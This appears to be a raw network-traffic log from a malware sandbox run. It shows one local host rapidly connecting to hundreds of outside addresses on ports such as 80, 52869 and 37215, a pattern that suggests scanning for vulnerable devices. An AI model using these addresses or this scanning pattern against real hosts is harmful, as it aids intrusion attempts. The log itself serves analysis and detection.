Jul 20, 2024 23:10:37.933875084 CEST	58774	80	192.168.2.15	95.240.4.197
Jul 20, 2024 23:10:37.933875084 CEST	58774	80	192.168.2.15	95.91.119.142
Jul 20, 2024 23:10:37.933875084 CEST	58774	80	192.168.2.15	95.177.203.131
Jul 20, 2024 23:10:37.933875084 CEST	58774	80	192.168.2.15	95.25.201.213
Jul 20, 2024 23:10:37.933875084 CEST	58774	80	192.168.2.15	95.87.89.89
Jul 20, 2024 23:10:37.933876038 CEST	58774	80	192.168.2.15	95.65.42.117
Jul 20, 2024 23:10:37.935200930 CEST	58774	80	192.168.2.15	95.227.229.254
Jul 20, 2024 23:10:37.935200930 CEST	58774	80	192.168.2.15	95.68.73.234
Jul 20, 2024 23:10:37.935200930 CEST	58774	80	192.168.2.15	95.168.235.196
Jul 20, 2024 23:10:37.935200930 CEST	58774	80	192.168.2.15	95.49.36.47
Jul 20, 2024 23:10:37.935200930 CEST	58774	80	192.168.2.15	95.161.7.226
Jul 20, 2024 23:10:37.935200930 CEST	58774	80	192.168.2.15	95.26.252.244
Jul 20, 2024 23:10:37.935200930 CEST	58774	80	192.168.2.15	95.83.59.143
Jul 20, 2024 23:10:37.935362101 CEST	58774	80	192.168.2.15	95.114.65.67
Jul 20, 2024 23:10:37.935362101 CEST	58774	80	192.168.2.15	95.142.37.6
Jul 20, 2024 23:10:37.935362101 CEST	58774	80	192.168.2.15	95.199.28.44
Jul 20, 2024 23:10:37.935362101 CEST	58774	80	192.168.2.15	95.253.35.203
Jul 20, 2024 23:10:37.935362101 CEST	58774	80	192.168.2.15	95.234.92.116
Jul 20, 2024 23:10:37.935363054 CEST	58774	80	192.168.2.15	95.41.183.63
Jul 20, 2024 23:10:37.935363054 CEST	58774	80	192.168.2.15	95.76.48.246
Jul 20, 2024 23:10:37.935363054 CEST	58774	80	192.168.2.15	95.246.124.10
Jul 20, 2024 23:10:37.938564062 CEST	58774	80	192.168.2.15	95.175.29.188
Jul 20, 2024 23:10:37.938564062 CEST	58774	80	192.168.2.15	95.78.52.39
Jul 20, 2024 23:10:37.938564062 CEST	58774	80	192.168.2.15	95.11.128.87
Jul 20, 2024 23:10:37.938564062 CEST	58774	80	192.168.2.15	95.247.49.130
Jul 20, 2024 23:10:37.938564062 CEST	58774	80	192.168.2.15	95.70.78.2
Jul 20, 2024 23:10:37.938564062 CEST	58774	80	192.168.2.15	95.167.242.235
Jul 20, 2024 23:10:37.938564062 CEST	58774	80	192.168.2.15	95.131.36.95
Jul 20, 2024 23:10:37.938564062 CEST	58774	80	192.168.2.15	95.192.108.175
Jul 20, 2024 23:10:37.940762043 CEST	58774	80	192.168.2.15	95.228.34.215
Jul 20, 2024 23:10:37.940762043 CEST	58774	80	192.168.2.15	95.74.18.218
Jul 20, 2024 23:10:37.940762043 CEST	58774	80	192.168.2.15	95.216.5.10
Jul 20, 2024 23:10:37.940762043 CEST	58774	80	192.168.2.15	95.95.44.63
Jul 20, 2024 23:10:37.940762043 CEST	58774	80	192.168.2.15	95.117.33.11
Jul 20, 2024 23:10:37.940762043 CEST	58774	80	192.168.2.15	95.181.68.148
Jul 20, 2024 23:10:37.940762997 CEST	58774	80	192.168.2.15	95.17.52.252
Jul 20, 2024 23:10:37.940762997 CEST	58774	80	192.168.2.15	95.51.145.143
Jul 20, 2024 23:10:37.940923929 CEST	58774	80	192.168.2.15	95.6.228.38
Jul 20, 2024 23:10:37.940923929 CEST	58774	80	192.168.2.15	95.140.80.153
Jul 20, 2024 23:10:37.940923929 CEST	58774	80	192.168.2.15	95.213.64.154
Jul 20, 2024 23:10:37.940923929 CEST	58774	80	192.168.2.15	95.136.129.142
Jul 20, 2024 23:10:37.940923929 CEST	58774	80	192.168.2.15	95.47.167.67
Jul 20, 2024 23:10:37.940924883 CEST	58774	80	192.168.2.15	95.67.168.175
Jul 20, 2024 23:10:37.941773891 CEST	58774	80	192.168.2.15	95.31.67.112
Jul 20, 2024 23:10:37.941773891 CEST	58774	80	192.168.2.15	95.151.81.140
Jul 20, 2024 23:10:37.941773891 CEST	58774	80	192.168.2.15	95.181.217.178
Jul 20, 2024 23:10:37.945431948 CEST	58774	80	192.168.2.15	95.153.111.186
Jul 20, 2024 23:10:37.945431948 CEST	58774	80	192.168.2.15	95.182.77.252
Jul 20, 2024 23:10:37.945431948 CEST	58774	80	192.168.2.15	95.199.23.2
Jul 20, 2024 23:10:37.945431948 CEST	58774	80	192.168.2.15	95.145.228.20
Jul 20, 2024 23:10:37.945431948 CEST	58774	80	192.168.2.15	95.223.214.169
Jul 20, 2024 23:10:37.945431948 CEST	58774	80	192.168.2.15	95.7.7.107
Jul 20, 2024 23:10:37.945431948 CEST	58774	80	192.168.2.15	95.216.33.59
Jul 20, 2024 23:10:37.945431948 CEST	58774	80	192.168.2.15	95.202.232.169
Jul 20, 2024 23:10:37.945861101 CEST	58774	80	192.168.2.15	95.237.27.40
Jul 20, 2024 23:10:37.945861101 CEST	58774	80	192.168.2.15	95.152.160.194
Jul 20, 2024 23:10:37.945861101 CEST	58774	80	192.168.2.15	95.249.234.201
Jul 20, 2024 23:10:37.945861101 CEST	58774	80	192.168.2.15	95.100.108.130
Jul 20, 2024 23:10:37.945861101 CEST	58774	80	192.168.2.15	95.63.243.177
Jul 20, 2024 23:10:37.945861101 CEST	58774	80	192.168.2.15	95.200.230.117
Jul 20, 2024 23:10:37.945861101 CEST	58774	80	192.168.2.15	95.71.24.80
Jul 20, 2024 23:10:37.945861101 CEST	58774	80	192.168.2.15	95.230.17.220
Jul 20, 2024 23:10:37.946259975 CEST	58774	80	192.168.2.15	95.176.104.201
Jul 20, 2024 23:10:37.946259975 CEST	58774	80	192.168.2.15	95.89.213.149
Jul 20, 2024 23:10:37.946259975 CEST	58774	80	192.168.2.15	95.111.178.94
Jul 20, 2024 23:10:37.946259975 CEST	58774	80	192.168.2.15	95.186.103.30
Jul 20, 2024 23:10:37.946259975 CEST	58774	80	192.168.2.15	95.88.47.52
Jul 20, 2024 23:10:37.950210094 CEST	58774	80	192.168.2.15	95.164.0.148
Jul 20, 2024 23:10:37.950210094 CEST	58774	80	192.168.2.15	95.75.120.251
Jul 20, 2024 23:10:37.950210094 CEST	58774	80	192.168.2.15	95.242.195.241
Jul 20, 2024 23:10:37.950210094 CEST	58774	80	192.168.2.15	95.44.146.40
Jul 20, 2024 23:10:37.950210094 CEST	58774	80	192.168.2.15	95.197.209.172
Jul 20, 2024 23:10:37.950210094 CEST	58774	80	192.168.2.15	95.207.231.236
Jul 20, 2024 23:10:37.950210094 CEST	58774	80	192.168.2.15	95.251.240.84
Jul 20, 2024 23:10:37.950210094 CEST	58774	80	192.168.2.15	95.238.4.111
Jul 20, 2024 23:10:37.951191902 CEST	58774	80	192.168.2.15	95.120.168.30
Jul 20, 2024 23:10:37.951191902 CEST	58774	80	192.168.2.15	95.95.251.153
Jul 20, 2024 23:10:37.951191902 CEST	58774	80	192.168.2.15	95.221.135.92
Jul 20, 2024 23:10:37.953130007 CEST	58774	80	192.168.2.15	95.69.205.199
Jul 20, 2024 23:10:37.953130007 CEST	58774	80	192.168.2.15	95.187.222.173
Jul 20, 2024 23:10:37.953130007 CEST	58774	80	192.168.2.15	95.68.28.156
Jul 20, 2024 23:10:37.953130007 CEST	58774	80	192.168.2.15	95.235.95.58
Jul 20, 2024 23:10:37.953130007 CEST	58774	80	192.168.2.15	95.139.127.12
Jul 20, 2024 23:10:37.953130007 CEST	58774	80	192.168.2.15	95.156.193.59
Jul 20, 2024 23:10:37.954941034 CEST	58774	80	192.168.2.15	95.148.45.107
Jul 20, 2024 23:10:37.954941034 CEST	58774	80	192.168.2.15	95.52.57.44
Jul 20, 2024 23:10:37.954941034 CEST	58774	80	192.168.2.15	95.175.184.234
Jul 20, 2024 23:10:37.954941034 CEST	58774	80	192.168.2.15	95.210.81.12
Jul 20, 2024 23:10:37.987437010 CEST	43862	8081	192.168.2.15	101.137.132.47
Jul 20, 2024 23:10:38.003638029 CEST	59184	80	192.168.2.15	88.185.132.47
Jul 20, 2024 23:10:38.013319016 CEST	38292	52869	192.168.2.15	119.87.220.235
Jul 20, 2024 23:10:38.015705109 CEST	44484	37215	192.168.2.15	76.125.10.46
Jul 20, 2024 23:10:38.018651962 CEST	2466	50866	15.235.203.214	192.168.2.15
Jul 20, 2024 23:10:38.019006968 CEST	52869	58771	36.237.136.229	192.168.2.15
Jul 20, 2024 23:10:38.019021988 CEST	52869	58771	51.183.120.11	192.168.2.15
Jul 20, 2024 23:10:38.019035101 CEST	52869	58771	131.171.103.166	192.168.2.15
Jul 20, 2024 23:10:38.019058943 CEST	50866	2466	192.168.2.15	15.235.203.214
Jul 20, 2024 23:10:38.019085884 CEST	52869	58771	113.59.43.92	192.168.2.15
Jul 20, 2024 23:10:38.019098997 CEST	52869	58771	192.33.235.5	192.168.2.15
Jul 20, 2024 23:10:38.019112110 CEST	52869	58771	184.73.244.53	192.168.2.15
Jul 20, 2024 23:10:38.019114017 CEST	58771	52869	192.168.2.15	113.59.43.92
Jul 20, 2024 23:10:38.019120932 CEST	58771	52869	192.168.2.15	131.171.103.166
Jul 20, 2024 23:10:38.019120932 CEST	58771	52869	192.168.2.15	192.33.235.5
Jul 20, 2024 23:10:38.019125938 CEST	52869	58771	1.159.75.128	192.168.2.15
Jul 20, 2024 23:10:38.019139051 CEST	52869	58771	92.56.162.78	192.168.2.15
Jul 20, 2024 23:10:38.019150019 CEST	52869	58771	174.119.37.186	192.168.2.15
Jul 20, 2024 23:10:38.019164085 CEST	52869	58771	213.38.112.43	192.168.2.15
Jul 20, 2024 23:10:38.019176006 CEST	52869	58771	194.22.160.145	192.168.2.15
Jul 20, 2024 23:10:38.019186974 CEST	52869	58771	41.113.134.80	192.168.2.15
Jul 20, 2024 23:10:38.019198895 CEST	52869	58771	181.242.205.197	192.168.2.15
Jul 20, 2024 23:10:38.019201994 CEST	58771	52869	192.168.2.15	1.159.75.128
Jul 20, 2024 23:10:38.019211054 CEST	52869	58771	129.21.178.114	192.168.2.15
Jul 20, 2024 23:10:38.019223928 CEST	52869	58771	63.75.77.185	192.168.2.15
Jul 20, 2024 23:10:38.019248009 CEST	52869	58771	212.124.20.195	192.168.2.15
Jul 20, 2024 23:10:38.019259930 CEST	52869	58771	92.224.128.50	192.168.2.15
Jul 20, 2024 23:10:38.019272089 CEST	52869	58771	62.178.35.52	192.168.2.15
Jul 20, 2024 23:10:38.019284964 CEST	52869	58771	110.77.22.109	192.168.2.15
Jul 20, 2024 23:10:38.019296885 CEST	52869	58771	174.2.34.142	192.168.2.15
Jul 20, 2024 23:10:38.019309044 CEST	52869	58771	81.0.21.47	192.168.2.15
Jul 20, 2024 23:10:38.019320011 CEST	52869	58771	96.153.238.214	192.168.2.15
Jul 20, 2024 23:10:38.019331932 CEST	52869	58771	205.72.33.39	192.168.2.15
Jul 20, 2024 23:10:38.019342899 CEST	52869	58771	39.113.253.226	192.168.2.15
Jul 20, 2024 23:10:38.019355059 CEST	52869	58771	221.132.183.156	192.168.2.15
Jul 20, 2024 23:10:38.019366980 CEST	52869	58771	37.220.100.118	192.168.2.15
Jul 20, 2024 23:10:38.019377947 CEST	52869	58771	51.168.22.42	192.168.2.15
Jul 20, 2024 23:10:38.019388914 CEST	52869	58771	136.170.83.107	192.168.2.15
Jul 20, 2024 23:10:38.019399881 CEST	52869	58771	219.205.116.1	192.168.2.15
Jul 20, 2024 23:10:38.019412041 CEST	52869	58771	64.224.217.190	192.168.2.15
Jul 20, 2024 23:10:38.019423962 CEST	52869	58771	25.73.64.204	192.168.2.15
Jul 20, 2024 23:10:38.019435883 CEST	52869	58771	158.187.227.85	192.168.2.15
Jul 20, 2024 23:10:38.019443989 CEST	58771	52869	192.168.2.15	62.178.35.52
Jul 20, 2024 23:10:38.019443989 CEST	58771	52869	192.168.2.15	64.224.217.190
Jul 20, 2024 23:10:38.019448042 CEST	52869	58771	164.22.24.69	192.168.2.15
Jul 20, 2024 23:10:38.019459963 CEST	52869	58771	82.48.30.221	192.168.2.15
Jul 20, 2024 23:10:38.019471884 CEST	52869	58771	149.164.117.47	192.168.2.15
Jul 20, 2024 23:10:38.019475937 CEST	58771	52869	192.168.2.15	158.187.227.85
Jul 20, 2024 23:10:38.019483089 CEST	52869	58771	142.250.48.34	192.168.2.15
Jul 20, 2024 23:10:38.019495964 CEST	52869	58771	125.145.132.47	192.168.2.15
Jul 20, 2024 23:10:38.019509077 CEST	52869	58771	166.140.108.18	192.168.2.15
Jul 20, 2024 23:10:38.019520998 CEST	58771	52869	192.168.2.15	142.250.48.34
Jul 20, 2024 23:10:38.019526005 CEST	52869	58771	211.131.181.120	192.168.2.15
Jul 20, 2024 23:10:38.019539118 CEST	52869	58771	152.99.131.65	192.168.2.15
Jul 20, 2024 23:10:38.019551039 CEST	52869	58771	60.166.225.136	192.168.2.15
Jul 20, 2024 23:10:38.019562006 CEST	52869	58771	115.19.246.148	192.168.2.15
Jul 20, 2024 23:10:38.019573927 CEST	52869	58771	25.246.117.66	192.168.2.15
Jul 20, 2024 23:10:38.019586086 CEST	52869	58771	118.224.158.59	192.168.2.15
Jul 20, 2024 23:10:38.019597054 CEST	52869	58771	147.235.9.126	192.168.2.15
Jul 20, 2024 23:10:38.019608021 CEST	52869	58771	82.194.160.42	192.168.2.15
Jul 20, 2024 23:10:38.019619942 CEST	52869	58771	150.111.236.185	192.168.2.15
Jul 20, 2024 23:10:38.019634962 CEST	52869	58771	200.222.229.170	192.168.2.15
Jul 20, 2024 23:10:38.019640923 CEST	58771	52869	192.168.2.15	212.124.20.195
Jul 20, 2024 23:10:38.019640923 CEST	58771	52869	192.168.2.15	174.2.34.142
Jul 20, 2024 23:10:38.019640923 CEST	58771	52869	192.168.2.15	136.170.83.107
Jul 20, 2024 23:10:38.019640923 CEST	58771	52869	192.168.2.15	25.73.64.204
Jul 20, 2024 23:10:38.019640923 CEST	58771	52869	192.168.2.15	25.246.117.66
Jul 20, 2024 23:10:38.019640923 CEST	58771	52869	192.168.2.15	82.194.160.42
Jul 20, 2024 23:10:38.019646883 CEST	52869	58771	37.136.63.13	192.168.2.15
Jul 20, 2024 23:10:38.019659042 CEST	52869	58771	38.99.242.1	192.168.2.15
Jul 20, 2024 23:10:38.019670010 CEST	52869	58771	90.103.72.246	192.168.2.15
Jul 20, 2024 23:10:38.019680977 CEST	52869	58771	119.170.237.214	192.168.2.15
Jul 20, 2024 23:10:38.019692898 CEST	52869	58771	204.22.112.51	192.168.2.15
Jul 20, 2024 23:10:38.019704103 CEST	52869	58771	207.124.252.0	192.168.2.15
Jul 20, 2024 23:10:38.019715071 CEST	52869	58771	17.30.171.133	192.168.2.15
Jul 20, 2024 23:10:38.019726038 CEST	52869	58771	158.157.135.64	192.168.2.15
Jul 20, 2024 23:10:38.019737005 CEST	52869	58771	108.174.132.168	192.168.2.15
Jul 20, 2024 23:10:38.019748926 CEST	52869	58771	27.206.178.148	192.168.2.15
Jul 20, 2024 23:10:38.019761086 CEST	52869	58771	32.50.58.212	192.168.2.15
Jul 20, 2024 23:10:38.019773006 CEST	52869	58771	27.209.16.55	192.168.2.15
Jul 20, 2024 23:10:38.019788027 CEST	2466	50866	15.235.203.214	192.168.2.15
Jul 20, 2024 23:10:38.019828081 CEST	58771	52869	192.168.2.15	211.131.181.120
Jul 20, 2024 23:10:38.019828081 CEST	58771	52869	192.168.2.15	150.111.236.185
Jul 20, 2024 23:10:38.019828081 CEST	58771	52869	192.168.2.15	204.22.112.51
Jul 20, 2024 23:10:38.019859076 CEST	50866	2466	192.168.2.15	15.235.203.214
Jul 20, 2024 23:10:38.020566940 CEST	58771	52869	192.168.2.15	92.56.162.78
Jul 20, 2024 23:10:38.020566940 CEST	58771	52869	192.168.2.15	110.77.22.109
Jul 20, 2024 23:10:38.020566940 CEST	58771	52869	192.168.2.15	81.0.21.47
Jul 20, 2024 23:10:38.020566940 CEST	58771	52869	192.168.2.15	51.168.22.42
Jul 20, 2024 23:10:38.020566940 CEST	58771	52869	192.168.2.15	219.205.116.1
Jul 20, 2024 23:10:38.020566940 CEST	58771	52869	192.168.2.15	115.19.246.148
Jul 20, 2024 23:10:38.020566940 CEST	58771	52869	192.168.2.15	38.99.242.1
Jul 20, 2024 23:10:38.020699024 CEST	58771	52869	192.168.2.15	63.75.77.185
Jul 20, 2024 23:10:38.020699024 CEST	58771	52869	192.168.2.15	125.145.132.47
Jul 20, 2024 23:10:38.021183968 CEST	58771	52869	192.168.2.15	82.48.30.221
Jul 20, 2024 23:10:38.021183968 CEST	58771	52869	192.168.2.15	207.124.252.0
Jul 20, 2024 23:10:38.021183968 CEST	58771	52869	192.168.2.15	158.157.135.64
Jul 20, 2024 23:10:38.021183968 CEST	58771	52869	192.168.2.15	32.50.58.212
Jul 20, 2024 23:10:38.021183968 CEST	58771	52869	192.168.2.15	108.174.132.168
Jul 20, 2024 23:10:38.021183968 CEST	58771	52869	192.168.2.15	17.30.171.133
Jul 20, 2024 23:10:38.021399975 CEST	58771	52869	192.168.2.15	51.183.120.11
Jul 20, 2024 23:10:38.021399975 CEST	58771	52869	192.168.2.15	36.237.136.229
Jul 20, 2024 23:10:38.021399975 CEST	58771	52869	192.168.2.15	184.73.244.53
Jul 20, 2024 23:10:38.021399975 CEST	58771	52869	192.168.2.15	174.119.37.186
Jul 20, 2024 23:10:38.021399975 CEST	58771	52869	192.168.2.15	213.38.112.43
Jul 20, 2024 23:10:38.021399975 CEST	58771	52869	192.168.2.15	194.22.160.145
Jul 20, 2024 23:10:38.021399975 CEST	58771	52869	192.168.2.15	41.113.134.80
Jul 20, 2024 23:10:38.021399975 CEST	58771	52869	192.168.2.15	181.242.205.197
Jul 20, 2024 23:10:38.021542072 CEST	37215	58767	157.60.214.43	192.168.2.15
Jul 20, 2024 23:10:38.021567106 CEST	37215	58767	197.151.185.182	192.168.2.15
Jul 20, 2024 23:10:38.021579981 CEST	37215	58767	197.191.233.83	192.168.2.15
Jul 20, 2024 23:10:38.021593094 CEST	37215	58767	157.27.44.107	192.168.2.15
Jul 20, 2024 23:10:38.021605015 CEST	37215	58767	157.91.203.86	192.168.2.15
Jul 20, 2024 23:10:38.021617889 CEST	37215	58767	157.123.131.27	192.168.2.15
Jul 20, 2024 23:10:38.021646976 CEST	58767	37215	192.168.2.15	157.27.44.107
Jul 20, 2024 23:10:38.021692991 CEST	37215	58767	197.63.234.218	192.168.2.15
Jul 20, 2024 23:10:38.021706104 CEST	37215	58767	157.34.128.93	192.168.2.15
Jul 20, 2024 23:10:38.021718025 CEST	37215	58767	157.24.64.239	192.168.2.15
Jul 20, 2024 23:10:38.021730900 CEST	37215	58767	41.215.222.179	192.168.2.15
Jul 20, 2024 23:10:38.021743059 CEST	37215	58767	180.160.78.236	192.168.2.15
Jul 20, 2024 23:10:38.021754980 CEST	37215	58767	197.117.127.154	192.168.2.15
Jul 20, 2024 23:10:38.021766901 CEST	37215	58767	1.153.1.64	192.168.2.15
Jul 20, 2024 23:10:38.021778107 CEST	37215	58767	157.148.122.154	192.168.2.15
Jul 20, 2024 23:10:38.021790028 CEST	37215	58767	157.200.197.56	192.168.2.15
Jul 20, 2024 23:10:38.021811008 CEST	37215	58767	100.183.224.149	192.168.2.15
Jul 20, 2024 23:10:38.021821976 CEST	37215	58767	41.198.237.25	192.168.2.15
Jul 20, 2024 23:10:38.021833897 CEST	37215	58767	157.41.116.113	192.168.2.15
Jul 20, 2024 23:10:38.021846056 CEST	37215	58767	157.203.207.178	192.168.2.15
Jul 20, 2024 23:10:38.021857977 CEST	37215	58767	157.16.90.129	192.168.2.15
Jul 20, 2024 23:10:38.021869898 CEST	37215	58767	197.213.122.129	192.168.2.15
Jul 20, 2024 23:10:38.021882057 CEST	37215	58767	157.48.152.215	192.168.2.15
Jul 20, 2024 23:10:38.021893978 CEST	37215	58767	157.179.168.120	192.168.2.15
Jul 20, 2024 23:10:38.021904945 CEST	37215	58767	41.229.88.41	192.168.2.15
Jul 20, 2024 23:10:38.021915913 CEST	37215	58767	197.133.236.34	192.168.2.15
Jul 20, 2024 23:10:38.021929026 CEST	37215	58767	157.239.122.240	192.168.2.15
Jul 20, 2024 23:10:38.021940947 CEST	37215	58767	157.175.181.191	192.168.2.15
Jul 20, 2024 23:10:38.021955013 CEST	37215	58767	197.68.246.82	192.168.2.15
Jul 20, 2024 23:10:38.022464037 CEST	37215	58767	73.246.17.76	192.168.2.15
Jul 20, 2024 23:10:38.022475958 CEST	37215	58767	197.72.245.150	192.168.2.15
Jul 20, 2024 23:10:38.022488117 CEST	37215	58767	41.37.82.200	192.168.2.15
Jul 20, 2024 23:10:38.022500992 CEST	37215	58767	45.37.197.81	192.168.2.15
Jul 20, 2024 23:10:38.022512913 CEST	37215	58767	67.47.108.140	192.168.2.15
Jul 20, 2024 23:10:38.022525072 CEST	37215	58767	109.17.197.10	192.168.2.15
Jul 20, 2024 23:10:38.022573948 CEST	37215	58767	170.144.45.218	192.168.2.15
Jul 20, 2024 23:10:38.022587061 CEST	37215	58767	157.197.174.115	192.168.2.15
Jul 20, 2024 23:10:38.022598982 CEST	37215	58767	197.160.6.46	192.168.2.15
Jul 20, 2024 23:10:38.022610903 CEST	37215	58767	197.225.29.93	192.168.2.15
Jul 20, 2024 23:10:38.022623062 CEST	37215	58767	41.138.208.89	192.168.2.15
Jul 20, 2024 23:10:38.022634983 CEST	37215	58767	197.84.123.182	192.168.2.15
Jul 20, 2024 23:10:38.022646904 CEST	37215	58767	197.194.243.108	192.168.2.15
Jul 20, 2024 23:10:38.022658110 CEST	37215	58767	157.166.240.145	192.168.2.15
Jul 20, 2024 23:10:38.022670031 CEST	37215	58767	146.236.211.101	192.168.2.15
Jul 20, 2024 23:10:38.022680998 CEST	37215	58767	157.53.95.58	192.168.2.15
Jul 20, 2024 23:10:38.022692919 CEST	37215	58767	197.224.22.147	192.168.2.15
Jul 20, 2024 23:10:38.022705078 CEST	37215	58767	197.168.134.148	192.168.2.15
Jul 20, 2024 23:10:38.022716045 CEST	37215	58767	157.246.177.248	192.168.2.15
Jul 20, 2024 23:10:38.022727966 CEST	37215	58767	24.116.250.142	192.168.2.15
Jul 20, 2024 23:10:38.022739887 CEST	37215	58767	41.46.234.183	192.168.2.15
Jul 20, 2024 23:10:38.022762060 CEST	37215	58767	157.85.60.6	192.168.2.15
Jul 20, 2024 23:10:38.022773981 CEST	37215	58767	197.207.190.107	192.168.2.15
Jul 20, 2024 23:10:38.022784948 CEST	37215	58767	196.18.132.173	192.168.2.15
Jul 20, 2024 23:10:38.022797108 CEST	37215	58767	41.29.232.209	192.168.2.15
Jul 20, 2024 23:10:38.022808075 CEST	37215	58767	41.100.22.26	192.168.2.15
Jul 20, 2024 23:10:38.022819042 CEST	37215	58767	85.124.236.79	192.168.2.15
Jul 20, 2024 23:10:38.022830963 CEST	37215	58767	157.133.138.41	192.168.2.15
Jul 20, 2024 23:10:38.023066044 CEST	37215	58767	197.73.110.83	192.168.2.15
Jul 20, 2024 23:10:38.023078918 CEST	37215	58767	197.254.19.244	192.168.2.15
Jul 20, 2024 23:10:38.023092031 CEST	37215	58767	197.193.200.234	192.168.2.15
Jul 20, 2024 23:10:38.023103952 CEST	37215	58767	62.243.33.179	192.168.2.15
Jul 20, 2024 23:10:38.023114920 CEST	37215	58767	41.216.171.51	192.168.2.15
Jul 20, 2024 23:10:38.023125887 CEST	37215	58767	197.109.252.7	192.168.2.15
Jul 20, 2024 23:10:38.023138046 CEST	37215	58767	41.78.140.141	192.168.2.15
Jul 20, 2024 23:10:38.023149967 CEST	37215	58767	182.162.171.84	192.168.2.15
Jul 20, 2024 23:10:38.023195982 CEST	37215	58767	211.10.208.19	192.168.2.15
Jul 20, 2024 23:10:38.023209095 CEST	37215	58767	173.87.154.186	192.168.2.15
Jul 20, 2024 23:10:38.023220062 CEST	37215	58767	197.20.204.98	192.168.2.15
Jul 20, 2024 23:10:38.023231983 CEST	37215	58767	197.0.212.30	192.168.2.15
Jul 20, 2024 23:10:38.023242950 CEST	37215	58767	197.206.145.252	192.168.2.15
Jul 20, 2024 23:10:38.023255110 CEST	37215	58767	197.216.39.117	192.168.2.15
Jul 20, 2024 23:10:38.023255110 CEST	58767	37215	192.168.2.15	157.34.128.93
Jul 20, 2024 23:10:38.023255110 CEST	58767	37215	192.168.2.15	1.153.1.64
Jul 20, 2024 23:10:38.023255110 CEST	58767	37215	192.168.2.15	157.41.116.113
Jul 20, 2024 23:10:38.023255110 CEST	58767	37215	192.168.2.15	157.179.168.120
Jul 20, 2024 23:10:38.023255110 CEST	58767	37215	192.168.2.15	197.133.236.34
Jul 20, 2024 23:10:38.023255110 CEST	58767	37215	192.168.2.15	73.246.17.76
Jul 20, 2024 23:10:38.023256063 CEST	58767	37215	192.168.2.15	41.37.82.200
Jul 20, 2024 23:10:38.023256063 CEST	58767	37215	192.168.2.15	109.17.197.10
Jul 20, 2024 23:10:38.023267031 CEST	37215	58767	197.23.9.160	192.168.2.15
Jul 20, 2024 23:10:38.023277998 CEST	37215	58767	197.40.184.56	192.168.2.15
Jul 20, 2024 23:10:38.023288965 CEST	37215	58767	197.212.235.19	192.168.2.15
Jul 20, 2024 23:10:38.023299932 CEST	37215	58767	41.31.131.87	192.168.2.15
Jul 20, 2024 23:10:38.023312092 CEST	37215	58767	41.32.87.180	192.168.2.15
Jul 20, 2024 23:10:38.023323059 CEST	37215	58767	41.247.205.168	192.168.2.15
Jul 20, 2024 23:10:38.023334980 CEST	37215	58767	197.80.40.66	192.168.2.15
Jul 20, 2024 23:10:38.023346901 CEST	37215	58767	197.251.127.198	192.168.2.15
Jul 20, 2024 23:10:38.023358107 CEST	37215	58767	192.248.27.158	192.168.2.15
Jul 20, 2024 23:10:38.023370028 CEST	37215	58767	197.14.238.62	192.168.2.15
Jul 20, 2024 23:10:38.023380995 CEST	37215	58767	41.1.139.129	192.168.2.15
Jul 20, 2024 23:10:38.023394108 CEST	37215	58767	197.220.55.7	192.168.2.15
Jul 20, 2024 23:10:38.023405075 CEST	37215	58767	157.155.60.20	192.168.2.15
Jul 20, 2024 23:10:38.023416996 CEST	37215	58767	197.171.53.33	192.168.2.15
Jul 20, 2024 23:10:38.023523092 CEST	37215	58767	197.120.128.176	192.168.2.15
Jul 20, 2024 23:10:38.023560047 CEST	37215	58767	41.110.97.3	192.168.2.15
Jul 20, 2024 23:10:38.023571968 CEST	37215	58767	197.15.51.224	192.168.2.15
Jul 20, 2024 23:10:38.023583889 CEST	37215	58767	85.155.239.167	192.168.2.15
Jul 20, 2024 23:10:38.023596048 CEST	37215	58767	41.219.104.81	192.168.2.15
Jul 20, 2024 23:10:38.023607016 CEST	37215	58767	157.100.68.144	192.168.2.15
Jul 20, 2024 23:10:38.023618937 CEST	37215	58767	125.215.206.242	192.168.2.15
Jul 20, 2024 23:10:38.023644924 CEST	37215	58767	41.28.138.201	192.168.2.15
Jul 20, 2024 23:10:38.023657084 CEST	37215	58767	91.217.115.225	192.168.2.15
Jul 20, 2024 23:10:38.023668051 CEST	37215	58767	213.4.74.94	192.168.2.15
Jul 20, 2024 23:10:38.023689985 CEST	37215	58767	157.33.16.84	192.168.2.15
Jul 20, 2024 23:10:38.023703098 CEST	37215	58767	197.148.20.215	192.168.2.15
Jul 20, 2024 23:10:38.023715019 CEST	37215	58767	197.89.254.25	192.168.2.15
Jul 20, 2024 23:10:38.023725986 CEST	37215	58767	41.65.80.195	192.168.2.15
Jul 20, 2024 23:10:38.023737907 CEST	37215	58767	41.178.145.48	192.168.2.15
Jul 20, 2024 23:10:38.023749113 CEST	37215	58767	177.143.244.44	192.168.2.15
Jul 20, 2024 23:10:38.023761034 CEST	37215	58767	41.172.129.203	192.168.2.15
Jul 20, 2024 23:10:38.023772955 CEST	37215	58767	197.199.100.248	192.168.2.15
Jul 20, 2024 23:10:38.023785114 CEST	37215	58767	157.241.184.58	192.168.2.15
Jul 20, 2024 23:10:38.023797035 CEST	37215	58767	197.179.212.160	192.168.2.15
Jul 20, 2024 23:10:38.023808956 CEST	37215	58767	90.18.90.51	192.168.2.15
Jul 20, 2024 23:10:38.023822069 CEST	37215	58767	126.195.193.158	192.168.2.15
Jul 20, 2024 23:10:38.023833036 CEST	37215	58767	41.145.34.239	192.168.2.15
Jul 20, 2024 23:10:38.023844957 CEST	37215	58767	80.26.163.103	192.168.2.15
Jul 20, 2024 23:10:38.023857117 CEST	37215	58767	41.92.141.153	192.168.2.15
Jul 20, 2024 23:10:38.023869038 CEST	37215	58767	222.21.19.242	192.168.2.15
Jul 20, 2024 23:10:38.023880005 CEST	37215	58767	41.73.154.95	192.168.2.15
Jul 20, 2024 23:10:38.023890972 CEST	37215	58767	198.5.88.189	192.168.2.15
Jul 20, 2024 23:10:38.024168968 CEST	37215	58767	41.57.247.135	192.168.2.15
Jul 20, 2024 23:10:38.024180889 CEST	37215	58767	197.245.223.192	192.168.2.15
Jul 20, 2024 23:10:38.024193048 CEST	37215	58767	157.254.57.167	192.168.2.15
Jul 20, 2024 23:10:38.024204969 CEST	37215	58767	162.194.245.250	192.168.2.15
Jul 20, 2024 23:10:38.024215937 CEST	37215	58767	197.125.253.199	192.168.2.15
Jul 20, 2024 23:10:38.024226904 CEST	37215	58767	89.74.36.44	192.168.2.15
Jul 20, 2024 23:10:38.024239063 CEST	37215	58767	41.102.110.55	192.168.2.15
Jul 20, 2024 23:10:38.024250984 CEST	37215	58767	197.152.159.141	192.168.2.15
Jul 20, 2024 23:10:38.024261951 CEST	37215	58767	157.81.186.140	192.168.2.15
Jul 20, 2024 23:10:38.024274111 CEST	37215	58767	157.105.135.159	192.168.2.15
Jul 20, 2024 23:10:38.024286032 CEST	37215	58767	41.240.108.83	192.168.2.15
